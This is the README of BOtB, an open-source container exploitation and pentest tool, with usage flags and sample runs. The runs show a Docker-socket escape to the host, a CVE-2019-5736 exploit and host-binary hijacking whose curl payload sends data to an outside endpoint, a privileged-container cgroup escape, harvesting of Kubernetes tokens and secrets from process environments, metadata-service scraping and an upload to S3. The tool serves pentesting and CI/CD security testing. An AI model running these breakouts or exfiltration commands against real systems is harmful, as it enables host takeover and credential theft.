BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.
BOtB is a CLI tool which allows you to:
- Exploit common container vulnerabilities
- Perform common container post exploitation actions
- Provide capability when certain tools or binaries are not available in the Container
- Use BOtB's capabilities with CI/CD technologies to test container deployments
- Perform the above in either a manual or automated approach
- Find and Identify UNIX Domain Sockets
- Identify UNIX domain sockets which support HTTP
- Find and identify the Docker Daemon on UNIX domain sockets or on an interface
- Analyze and identify sensitive strings in ENV and process in the ProcFS i.e /Proc/{pid}/Environ
- Identify metadata services endpoints i.e http://169.254.169.254, http://metadata.google.internal/ and http://100.100.100.200/
- Perform a container breakout via exposed Docker daemons
- Perform a container breakout via CVE-2019-5736
- Hijack host binaries with a custom payload
- Perform actions in CI/CD mode and only return exit codes > 0
- Scrape metadata info from GCP metadata endpoints
- Push data to an S3 bucket
- Break out of Privileged Containers
- Force BOtB to always return a Exit Code of 0 (useful for non-blocking CI/CD)
- Perform the above from the CLI arguments or from a YAML config file
- Perform reverse DNS lookup
- Identify Kubernetes Service Accounts secrets and attempt to use them
For installation instructions from binaries please visit the Releases Page.
go get github.com/brompwnie/botb
Building BOtB via Go:
go build
Building BOtB via Make:
make
BOtB can be compiled into a binary for the targeted platform and supports the following usage
Usage of ./botb:
-aggr string
Attempt to exploit RuncPWN (default "nil")
-always-succeed
Always set BOtB's Exit code to Zero
-autopwn
Attempt to autopwn exposed sockets
-cicd
Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
-config string
Load config from provided yaml file (default "nil")
-endpoints string
Provide a textfile with endpoints to use for test (default "nil")
-find-docker
Attempt to find Dockerd
-find-http
Hunt for Available UNIX Domain Sockets with HTTP
-find-sockets
Hunt for Available UNIX Domain Sockets
-hijack string
Attempt to hijack binaries on host (default "nil")
-k8secrets
Identify and Verify K8's Secrets
-metadata
Attempt to find metadata services
-path string
Path to Start Scanning for UNIX Domain Sockets (default "/")
-pwn-privileged string
Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
-recon
Perform Recon of the Container ENV
-region string
Provide a AWS Region e.g eu-west-2 (default "nil")
-rev-dns string
Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
-s3bucket string
Provide a bucket name for S3 Push (default "nil")
-s3push string
Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
-scrape-gcp
Attempt to scrape the GCP metadata service
-verbose
Verbose output
-wordlist string
Provide a wordlist (default "nil")
BOtB can also be instructed to load settings from a YAML file via the config parameter
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
The following usage examples will return a Exit Code > 0 by default when an anomaly is detected, this is depicted by "echo $?" which shows the exit code of the last executed command.
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
This approach will breakout into an interactive TTY on the host.
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #
This approach does not escape into a TTY on the host but instead returns an Exit Code > 0 to indicate a successful container breakout.
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished
#echo $?
1
Please note that for this exploit to work, a process has to be executed in the target container in this scenario.
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished
Please note that this can be used to test if external entities are executing commands within the container. Examples are Docker Exec and Kubetcl CP.
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1
[+] Currently hijacking: /bin
[+] Currently hijacking: /sbin
[+] Currently hijacking: /usr/bin
[+] Finished
#./bob_linux_amd64 -socket=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished
#echo $?
1
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished
#echo $?
1
By default BOtB will search for the two terms "secret" and "password".
./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV: foo=secretpassword
[+] Finished
#echo $?
1
A wordlist can be supplied to BOtB to scan for particular keywords.
#cat wordlist.txt
moo
# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished
# echo $?
0
BOtB by default scans for two Metadata endpoints.
# ./bob_linux_amd64 -metadata=true
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished
# echo $?
0
BOtB can also be supplied with a list of endpoints to scan for.
# cat endpoints.txt
https://heroku.com
# ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished
# echo $?
1
# ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished
# ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to: 169.254.169.254:80
[*] Output->
HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....
# ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished
# ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output
docker-desktop
This is useful for non-blocking CI/CD tests
# ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0
Example YAML file cfg.yml
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets
Run BOtB with the above YAML
# ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished
BOtB can be used with CI\CD technologies that make use of exit codes to determine if tests have passed or failed. Below is a Shell script that executes two BOtB tests and the exit codes of the two tests are used to set the exit of the Shell script. If any of the two tests return an Exit Code >0, the test executing the shell script will fail.
#!/bin/sh
exitCode=0
echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?
echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?
(exit $exitCode)
The above script is not the only way to use BOtB with CI\CD technologies but could also be used by itself and not wrapped in a shell script. An example YML config would be:
version: 2
cicd:
runATest: ./bob_linux_amd64 -autopwn -cicd=true
Below is an example config that can be used with Heroku CI:
{
"environments": {
"test": {
"scripts": {
"test": "./bob_linux_amd64 -autopwn -cicd=true"
}
}
}
}
Below is an example config with Heroku CI but using a wrapper shell script:
{
"environments": {
"test": {
"scripts": {
"test": "./bin/testSocksAndEnv.sh"
}
}
}
}
For any bugs, please submit an issue. There is a long list of improvements but please submit an Issue if there is something you want to see added to BOtB.
This tool would not be possible without the contribution of others in the community, below is a list of resources that have helped me.
- https://docs.docker.com/engine/security/https/
- https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
- https://docs.docker.com/engine/reference/commandline/exec/
- https://github.com/GoogleContainerTools/container-structure-test
- https://github.com/coreos/clair
- https://github.com/aquasecurity/docker-bench
- https://www.cisecurity.org/benchmark/docker/
- https://github.com/Frichetten/CVE-2019-5736-PoC
- https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
- https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
- https://github.com/wagoodman/dive
- https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
- https://github.com/singe/container-breakouts
- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
- https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/
BOtB is scheduled to be presented at the following:
- BSides London 2019 (https://sched.co/PAwB) and slides can be found here https://github.com/brompwnie/bsideslondon2019
- Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
- DefCon 27 Cloud Village (https://cloud-village.org/)
- Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
- DevSecCon London 2019 (https://www.devseccon.com/london-2019/)
BOtB is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0).